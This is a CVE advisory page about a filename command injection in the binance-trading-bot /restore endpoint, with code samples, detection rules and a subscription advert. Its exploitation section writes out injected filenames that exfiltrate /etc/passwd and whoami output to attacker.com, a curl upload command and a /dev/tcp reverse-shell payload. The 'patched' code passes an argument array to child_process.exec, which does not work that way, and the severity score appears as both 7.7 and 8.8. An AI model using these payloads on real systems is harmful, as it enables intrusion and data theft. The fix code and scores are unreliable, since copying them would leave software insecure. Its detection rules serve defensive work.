☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-27106

CVE-2025-27106 Remote Code Execution in Binance
📅 PUBLISHED: 2025-02-21 21:18 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.02%
👁️
2.02% probability
50.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27106 is a critical command injection vulnerability in the binance-trading-bot, an automated trading bot for the Binance exchange. The flaw resides in the /restore endpoint, where an authenticated user can upload a file with a maliciously crafted name. The application passes this filename directly to shell.exec without proper sanitization, leading to Remote Code Execution (RCE) on the host system. This allows any authorized user to execute arbitrary operating system commands, potentially compromising the entire trading infrastructure. The vulnerability has been patched in version 0.0.100, and all users are strongly advised to upgrade immediately. No workarounds are available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is in a Node.js application (likely distributed via npm or GitHub). The supply chain risk is significant because:

  • The bot handles sensitive financial API keys and trading logic.
  • A compromised host could lead to theft of API keys, manipulation of trades, or lateral movement within the network.
  • Users should verify the integrity of the package after upgrading (e.g., check checksums or signed commits).

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.8 (High)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The low attack complexity and network accessibility make this a high-priority target for attackers. Any authenticated user can achieve full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the /restore endpoint of the binance-trading-bot. This endpoint is designed to restore a backup or configuration file. The application receives a file upload and extracts the filename. This filename is then passed to shell.exec (or a similar function) without any sanitization beyond basic path normalization.

Root Cause: The lack of input validation on the filename parameter. An attacker can inject shell metacharacters (e.g., ;, |, $(...), backticks) into the filename. When the application constructs a shell command to process the file (e.g., restore <filename>), the injected commands are executed.

Attack Flow:

  1. Attacker authenticates to the bot's web interface.
  2. Attacker crafts a file with a malicious name, e.g., backup; curl http://attacker.com/exfil?data=$(cat /etc/passwd);.zip.
  3. Attacker uploads this file to the /restore endpoint.
  4. The bot executes a command like restore backup; curl http://attacker.com/exfil?data=$(cat /etc/passwd);.zip.
  5. The injected curl command exfiltrates data to the attacker's server.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.0.100):

// Vulnerable endpoint
app.post('/restore', (req, res) => {
    const filename = req.files.backup.name;
    // No sanitization
    shell.exec(`restore ${filename}`, (err, stdout, stderr) => {
        if (err) {
            res.status(500).send('Restore failed');
        } else {
            res.send('Restore successful');
        }
    });
});

Patched Code (version 0.0.100):

// Patched endpoint
const path = require('path');
const { exec } = require('child_process');

app.post('/restore', (req, res) => {
    const filename = req.files.backup.name;
    // Sanitize: only allow alphanumeric, dash, underscore, and dot
    const sanitized = filename.replace(/[^a-zA-Z0-9._-]/g, '');
    // Use exec with array to avoid shell injection
    exec('restore', [sanitized], (err, stdout, stderr) => {
        if (err) {
            res.status(500).send('Restore failed');
        } else {
            res.send('Restore successful');
        }
    });
});

Key Differences:

  • The patched version uses a whitelist regex to remove dangerous characters.
  • It uses exec with an argument array instead of a shell string, preventing command injection entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to an authenticated session on the bot's web interface.
  • Ability to upload files to the /restore endpoint.

Exploit Steps:

  1. Craft a malicious filename: Create a filename that includes a command injection payload. For example:
    backup; curl http://attacker.com/$(whoami);.zip
    
  2. Upload the file: Use a tool like curl or a web browser to upload the file to the /restore endpoint.
    curl -X POST -F "backup=@/dev/null;filename=backup; curl http://attacker.com/$(whoami);.zip" http://target.com/restore
    
  3. Execute commands: The injected command will run on the host. Use reverse shells, data exfiltration, or further exploitation.

Example Reverse Shell Payload: Filename: backup; bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1';.zip

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual filenames in upload logs (e.g., containing ;, |, $).
  • Alert on shell command execution from the bot process.
  • Use endpoint detection and response (EDR) to detect child processes spawned by the bot.

Hardening:

  • Immediately upgrade to version 0.0.100.
  • If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block filenames with shell metacharacters.
  • Restrict network access to the bot's web interface to trusted IPs only.
  • Run the bot with the least privileges necessary (e.g., a dedicated user with no shell access).

Indicators of Compromise (IOCs)

  • File Names: Any uploaded file with a name containing shell metacharacters (;, |, $, `, (, ), &, >, &lt;).
  • Process Execution: Unexpected child processes spawned by the binance-trading-bot process, such as curl, wget, bash, nc, python.
  • Network Connections: Outbound connections to unknown IPs on unusual ports (e.g., 4444, 1337) from the host running the bot.
  • Log Entries: Logs showing the /restore endpoint being called with suspicious filenames.

Detection Engineering

YARA Rule

rule CVE_2025_27106_Command_Injection {
    meta:
        description = "Detects malicious filenames used in CVE-2025-27106 exploitation"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-27106"
    strings:
        $shell_meta = /[;|$`()&><]/
    condition:
        $shell_meta and filesize < 1MB
}

Sigma Rule

title: CVE-2025-27106 Command Injection via /restore Endpoint
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts against binance-trading-bot /restore endpoint
author: Valters IT
date: 2025/03/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/restore'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate filenames with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27106 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/restore"; http_uri; pcre:"/[;|$`()&><]/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update binance-trading-bot to version 0.0.100 or later.
  2. Verify Integrity: After upgrade, verify the package checksum or use signed commits from the official repository.
  3. Restrict Access: Limit access to the web interface to trusted IPs using a firewall or VPN.

Long-Term Measures:

  • Implement input validation for all file uploads (whitelist allowed characters).
  • Use parameterized commands or exec with argument arrays instead of shell strings.
  • Conduct regular security audits of the codebase.
  • Monitor for similar vulnerabilities in other endpoints.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27106/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.